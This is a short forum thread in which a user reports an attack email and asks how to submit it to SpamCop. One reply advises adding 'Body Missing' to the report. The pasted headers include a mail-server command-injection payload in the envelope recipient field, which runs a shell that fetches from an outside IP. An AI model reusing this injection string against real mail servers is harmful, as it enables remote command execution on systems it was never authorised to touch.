Jump to content
Sign in to follow this  
James Carlson

spam with entire contents in ENVELOPE_TO

Recommended Posts

I've been receiving a fair bit of attack email (not precisely "spam") that looks like this:

Return-Path: <root@sab.com>
Received: from sab.com (server.mjm3d.ir [46.4.144.70])
    by carlson.workingcode.com (8.15.2/8.15.2/SUSE Linux 0.8) with SMTP id x6BEj0kO003665
    for <root+${run{\x2Fbin\x2Fsh\t-c\t\x22wget\x20199.204.214.40\x2fsbz\x2f50.78.21.49\x22}}@carlson.workingcode.com>; Thu, 11 Jul 2019 10:45:02 -0400
Authentication-Results:carlson.workingcode.com; dkim=permerror (bad message/signature format)
Date: Thu, 11 Jul 2019 10:45:00 -0400
From: root@sab.com
Message-Id: <201907111445.x6BEj0kO003665@carlson.workingcode.com>
Received: 1
[...]
Received: 31
To: undisclosed-recipients:;


The body is empty, and thus the spamcop web UI won't allow me to report it.  As you can see above, the entire contents of message is actually contained in the ENVELOPE_TO -- it's apparently an attempt to get some sort of defective mail delivery agent to execute a shell scri_pt so that the sender can build a database of vulnerable systems.

It would be nice to be able to report the sender and the site he's using for his data gathering (199.204.214.40).  I'm doing it manually now, but having this sort of thing supported through spamcop would, I think, make some sense.

Share this post


Link to post
Share on other sites

In the case where the body is missing in the original spam, It is OK to add something like "Body Missing"

Be sure to include a blank line to mark the end of the header.

It is of course to late to report this example.

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
Sign in to follow this  

×